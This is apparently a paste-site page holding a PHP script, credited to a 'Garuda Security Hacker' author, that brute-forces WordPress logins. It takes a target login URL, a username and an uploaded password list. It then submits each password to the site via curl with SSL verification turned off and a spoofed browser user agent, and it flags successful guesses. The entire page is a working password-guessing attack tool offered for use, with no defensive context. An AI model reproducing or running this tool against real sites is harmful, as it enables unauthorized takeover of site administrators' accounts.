GLADzTeguhID icon

WordPress Bruteforce

GLADzTeguhID | PRO | 01/26/17 03:04:28 PM UTC | 0 ⭐ | 1298 👁️ | Never ⏰ | []
PHP |

3.51 KB

|

None

|

0 👍

/

0 👎

<?php
// ============================= //
# WordPress Brute Force
# Created by Lyonc
# Garuda Security Hacker
# Can Use On Localhost / cPanel
// ============================= //
 
error_reporting(0);
 
$logurl = $_POST['logurl'];
$user = $_POST['tguser'];
 
echo '<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WordPress Brute Force</title>
</head>
<body>
<center>
';
 
if(isset($_POST['startbf']) && !empty($logurl) && !empty($user) && $_FILES['netfile']['size'] !== 0){
$textkskc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123457890';
$panj = 15;
$txtl = strlen($textkskc)-1;
$uploadz = '';
for($i=1; $i<=$panj; $i++){
$uploadz .= $textkskc[rand(0, $txtl)];
}
if(move_uploaded_file($_FILES['netfile']['tmp_name'], $uploadz)){
$passlists = file_get_contents($uploadz);
unlink($uploadz);
}else{
$passlists = '';
}
$listspass = explode("\n", $passlists);
if(isset($_POST['brift'])){
foreach($listspass as $pass){
if(logwp($logurl, urlencode($user), urlencode($pass))){
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">Berhasil</font><br/>'."\n";
break;
}else{
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">Gagal :(</font><br/>'."\n";
}
}
}else{
foreach($listspass as $pass){
if(logwp($logurl, urlencode($user), urlencode($pass))){
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="green">Berhasil Bos !!!</font><br/>'."\n";
}else{
echo '<font color="blue">'.htmlspecialchars($pass).'</font> <font color="brown">=></font> <font color="red">Gagal</font><br/>'."\n";
}
}
}
}else{
echo '<form method="post" enctype="multipart/form-data">
<b><font size="6" color="indigo">WordPress Brute Force</font></b><br/>
<font color="gray">Work On cPanel And Localhost</font><br/>
<b>Login Url</b><br/>
<input type="text" size="40" name="logurl" placeholder="Login Url" value="'.htmlspecialchars($user).'"><br/>
<b>Username</b><br/>
<input type="text" size="40" name="tguser" placeholder="Username" value="'.htmlspecialchars($user).'"><br/>
<b>Password Lists</b><br/>
<input type="file" name="netfile"><br/>
<input type="checkbox" name="brift" value="Break If True"><font color="blue">Break If True</font><br/>
<input type="submit" name="startbf" value="START">
</form>
';
}
 
echo '</center>
</body>';
 
function logwp($urllgz, $login_email, $login_pass){
$urllgm = explode('?redirect_to=', $urllgz);
$urllg = $urllgm[0];
$cookielog = 'gsh_cookie';
$fp = fopen($cookielog, 'w');
fwrite($fp, '');
fclose($fp);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urllg);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log='.$login_email.'&pwd='.$login_pass.'&login=Log%20In');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookielog);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookielog);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3');
curl_setopt($ch, CURLOPT_REFERER, $urllg);
$page = curl_exec($ch) or die('<font color="red">Can\'t Connect to Host</font>');
if(eregi('\'#dashboard_stats div.dashboard-widget-content\'', $page)){
return TRUE;
}else{
return FALSE;
}
}
?>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎